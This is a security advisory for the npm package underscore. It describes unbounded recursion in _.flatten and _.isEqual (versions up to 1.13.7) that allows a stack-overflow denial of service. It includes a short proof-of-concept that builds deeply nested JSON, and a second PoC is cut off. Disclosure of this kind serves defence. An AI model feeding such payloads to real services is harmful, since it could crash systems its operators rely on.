GHSA-qpx9-hpmf-5gmw — Underscore has unlimited recursion in _.flatten and _.isEqual, potential for DoS attack

Affected: npm: underscore

### Impact

In simple words, some programs that use `_.flatten` or `_.isEqual` could be made to crash. Someone who wants to do harm may be able to do this on purpose. This can only be done if the program has special properties. It only works in Underscore versions up to 1.13.7. A more detailed explanation follows.

In affected versions of Underscore, the `_.flatten` and `_.isEqual` functions use recursion without a depth limit. Under very specific conditions, detailed below, an attacker could exploit this in a Denial of Service (DoS) attack by triggering a stack overflow.

A proof of concept (PoC) for this type of attack with `_.isEqual`:

```js const _ = require('underscore');

// build JSON string for nested object ~4500 levels deep // (for this to be an attack, the JSON would have to come from // a request or other untrusted input) let json = ''; for (let i = 0; i < 4500; i++) json += '{"n":'; json += '"x"'; for (let i = 0; i < 4500; i++) json += '}';

// construct two distinct objects with equal shape from the above JSON const a = JSON.parse(json); const b = JSON.parse(json);

_.isEqual(a, b); // RangeError: Maximum call stack size exceeded ```

A proof of concept (PoC) for this type of attack with `_.flatten`:

```js const _ = require('underscore');

// build nested array ~4500 levels deep // (like with _.isEqual, this nested array would have to be sourced // from an untrusted external source for it to be an attack) let nested = []; for (let i = 0; i < 4500; i++) nested…

Most recent entries from all

GHSA-qpx9-hpmf-5gmw — Underscore has unlimited recursion in _.flatten and _.isEqual, potential for DoS attack